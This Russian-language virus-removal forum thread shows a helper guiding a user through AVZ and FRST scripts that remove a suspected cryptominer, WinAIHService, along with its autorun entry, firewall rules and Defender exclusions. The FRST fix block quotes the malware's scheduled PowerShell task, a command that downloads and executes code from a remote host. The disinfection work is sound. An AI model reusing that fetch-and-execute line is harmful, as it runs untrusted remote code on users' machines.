Подозрение на майнер.

[Filviktor]

Здравствуйте. Недавно обнаружил что видео карта постоянно нагружена на 100 процентов. Как только отключаю интернет, нагрузка падает. Заранее спасибо за помощь.

[Info_bot]

Уважаемый(ая) Filviktor, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи (https://virusinfo.info/pravila.html).

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+ (https://virusinfo.info/content.php?r=613-sub_pomogite).

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект (https://virusinfo.info/content.php?r=113-virusinfo.info-donate).

[Vvvyg]

Выполните скрипт в AVZ из папки Autologger\AV\av_z.exe (http://virusinfo.info/showthread.php?t=7239):
begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
TerminateProcessByName('c:\programdata\winaihservi ce\winaihservice.exe');
TerminateProcessByName('c:\programdata\winaihservi ce\winservicenetworking.exe');
DeleteFile('c:\programdata\winaihservice\winaihser vice.exe', '');
DeleteFile('C:\ProgramData\WinAIHService\WinAIHSer vice.exe', '64');
DeleteFile('c:\programdata\winaihservice\winservic enetworking.exe', '');
DeleteFile('c:\programdata\winaihservice\winservic enetworking.exe', '64');
DeleteFileMask('c:\programdata\winaihservice', '*', true);
DeleteDirectory('c:\programdata\winaihservice');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'Win AIH Service', '64');
ExecuteSysClean;
RebootWindows(true);
end.Компьютер перезагрузится.

Скачайте Farbar Recovery Scan Tool (http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/) или с зеркала (https://www.geekstogo.com/forum/files/file/435-frst-farbar-recovery-scan-tool/) и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Да для соглашения с предупреждением.

Нажмите кнопку Сканировать.

После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).

[Filviktor]

Спасибо за помощь.

[Vvvyg]

Выделите и скопируйте в буфер обмена следующий код:
Start::
CloseProcesses:
HKLM\...\Run: [Win AIH Service] => C:\ProgramData\WinAIHService\WinAIHService.exe [311296 2025-06-28] () [File not signed]
Task: {7037890B-B1BD-41B1-968C-3E4403A752BC} - System32\Tasks\Microsoft\Office\Office Persistent Activation => C:\Windows\system32\WindowsPowerShell\v1.0\powersh ell.exe [454656 2025-03-13] (Microsoft Windows -> Microsoft Corporation) -> -Command "irm hxxps://activate.techias.co.uk/ | iex" <==== ATTENTION
HKU\S-1-5-21-108240752-3943798192-2182586631-1001\...\MountPoints2: {45592ac8-61b4-11ef-a6dc-4c034fe5b0c2} - "D:\setup.exe"
2025-06-29 08:23 - 2025-05-08 20:28 - 000000000 ____D C:\ProgramData\WinAIHService
FirewallRules: [UDP Query User{EA3471DC-ABDC-4AA8-AF2E-632689CF1195}C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe] => (Block) C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe => No File
FirewallRules: [TCP Query User{7066FE61-F93B-404D-AB78-ABC04115B1EC}C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe] => (Block) C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe => No File
FirewallRules: [{6FB4212F-CECC-40CA-90BB-DABBAD367BD3}] => (Block) %APPDATA%\Movavi Video Editor Plus 2022\VideoEditorPlus.exe => No File
FirewallRules: [UDP Query User{CFB8B896-66D6-4344-88BF-DD5D1D25AB0D}C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe] => (Allow) C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe => No File
FirewallRules: [TCP Query User{FC7FAECA-53C9-4B90-A2DE-EF9E1DFE5BD7}C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe] => (Allow) C:\cyberpunk 2077\bin\x64\cyberpunk2077.exe => No File
FirewallRules: [{4E725FAB-AFD8-4136-8478-641432B7F806}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\Lync.exe => No File
FirewallRules: [{06EBE987-7CFD-49DF-B55C-F65210CDB009}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\UcMapi.exe => No File
FirewallRules: [{47cda63b-dfa1-459b-ab8a-e01d8b4a5d99}] => (Allow) C:\ProgramData\WinAIHService\WinAIHService.exe () [File not signed]
FirewallRules: [{6de73cd3-816b-4f53-834f-a0a8c4708b55}] => (Allow) C:\ProgramData\WinAIHService\WinAIHService.exe () [File not signed]
FirewallRules: [{230bd764-dd9d-4c06-8025-5bed1ce6ec89}] => (Allow) C:\ProgramData\WinAIHService\WinAIHService.exe () [File not signed]
FirewallRules: [{b7738539-3724-444f-b56e-c17ac2b92066}] => (Allow) C:\ProgramData\WinAIHService\WinAIHService.exe () [File not signed]
ExportKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions
StartBatch:
del /s /q "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Cache\*.*" >nul
del /s /q "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Code Cache\Js\*.*" >nul
del /s /q "%userprofile%\AppData\Local\Opera Software\Opera Stable\Default\Cache\Cache_Data\*.*" >nul
del /s /q "%userprofile%\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\*.*" >nul
del /s /q "%userprofile%\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\Js\*.*" >nul
del /s /q C:\Windows\Temp\*.* >nul
del /s /q "%userprofile%\AppData\Local\temp\*.*" >nul
del /s /q C:\Windows\Minidump\*.dmp >nul
ipconfig /flushdns
sfc /scannow
endbatch:
CreateRestorePoint:
Reboot:
End::Запустите FRST.EXE/FRST64.EXE, нажмите один раз Исправить и подождите. Вставлять код никуда не нужно, программа возьмёт его из буфера обмена. Будет создан лог-файл (Fixlog.txt), прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен.

Сообщите, что с проблемой.

[Filviktor]

Проблема ушла ещё после того как выполнил первый скрипт.

[Vvvyg]

Не уверен, по логам FRST зловред присутствовал. Или Вы их делали ДО выполнения скрипта? Выполните всё же исправление и приложите Fixlog.txt.

[Filviktor]

Cделал

[Vvvyg]

Выделите и скопируйте в буфер обмена следующий код:
Start::
StartPowerShell:
Remove-MpPreference -ExclusionPath "C:\ProgramData\WinAIHService\"
Remove-MpPreference -ExclusionProcess "powershell.exe"
EndPowerShell:
ExportKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions
CreateRestorePoint:
End::Запустите FRST.EXE/FRST64.EXE, нажмите один раз Исправить и подождите. Будет создан лог-файл (Fixlog.txt), прикрепите его к своему следующему сообщению.

[Filviktor]

Сделал

[Vvvyg]

Теперь порядок.
Переименуйте FRST.exe (или FRST64.exe) в uninstall.exe и запустите. Логи, карантин и другие файлы, созданные программой, будут удалены.
Компьютер перезагрузится.

[Filviktor]

Спасибо за помощь.